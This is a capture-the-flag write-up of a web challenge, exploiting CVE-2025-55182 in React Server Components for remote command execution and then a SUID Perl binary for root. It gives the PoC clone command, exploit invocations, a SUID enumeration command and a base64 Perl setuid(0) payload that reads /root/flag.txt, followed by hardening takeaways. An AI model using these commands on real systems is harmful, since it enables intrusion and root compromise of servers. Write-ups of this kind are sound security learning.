CVE-2025-55182 — React Server Components RCE | CTF Writeup

Category: Web Exploitation | Difficulty: Medium | Vulnerability: Remote Code Execution → SUID Privilege Escalation

TL;DR

React Server Component endpoint vulnerable to CVE-2025-55182 (RCE) → enumerated SUID binaries → /usr/bin/perl had SUID set → used Perl's POSIX setuid(0) to escalate to root → read /root/flag.txt.

Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Step 1 — Reconnaissance

Target: http://challenge.cybermesh.site:30035/

The target was a React-based web application leveraging React Server Components (RSC) — a relatively new architecture that executes components server-side and streams serialized output back to the client via a custom wire format.

This architecture introduces a server-side execution boundary. Improper input handling at that boundary is exactly what CVE-2025-55182 exploits.

Step 2 — Vulnerability: CVE-2025-55182

React Server Components RCE — The server fails to sanitize user-controlled input before it reaches the server-side component execution layer. This allows an attacker to inject OS-level shell commands that execute in the context of the Node.js process.

Attack flow:

1. Attacker crafts a malicious RSC payload
2. Server deserializes input and passes unsanitized values into a server component function
3. OS command executes, output streamed back in the RSC response
4. Attacker reads command output from the response body

Step 3 — Exploit Setup

A public PoC exists for this CVE:

git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Initial verification — confirming RCE and execution context:

python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Output:

[+] EXPLOITATION SUCCESSFUL

  ► app

The server runs as user app. Not root — escalation required.

Step 4 — SUID Enumeration

Scanning for SUID binaries:

python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Output:

[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl has the SUID bit set. This is a well-known GTFOBin — when Perl is owned by root and SUID, it executes with root privileges regardless of who invokes it.

Step 5 — Privilege Escalation via SUID Perl

Constructed a base64-encoded Perl payload that:

• Sets the PATH
• Calls POSIX::setuid(0) to escalate to root
• Opens and reads /root/flag.txt

Delivered through the RCE endpoint:

python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

The payload decoded is roughly:

use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Output:

[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Flag

MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Key Takeaways

1. RSC attack surface is underestimated. React Server Components are a new paradigm. Many deployments haven't been hardened against input injection at the server-component boundary. This CVE is a reminder that "server-side rendering" isn't inherently safe — the execution boundary still needs proper sanitization.

2. SUID on scripting runtimes = instant root. /usr/bin/perl with SUID is a textbook misconfiguration. GTFOBins covers it in detail. Never set the SUID bit on scripting languages (Perl, Python, Ruby, etc.) — unlike compiled binaries designed for SUID (su, passwd), these runtimes offer trivial escalation paths.

3. The flag is self-aware. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — the challenge was explicitly designed around SUID Perl as the intended escalation path. Clean chain.

Attack Chain Summary

CVE-2025-55182 (RSC RCE)
    └─> whoami → user "app"
    └─> find SUID binaries
    └─> /usr/bin/perl (SUID root) identified
    └─> base64 Perl payload → write to /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

References

• github.com/surajhacx/react2shellpoc
• GTFOBins — perl SUID
• NVD — CVE-2025-55182

Written by Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+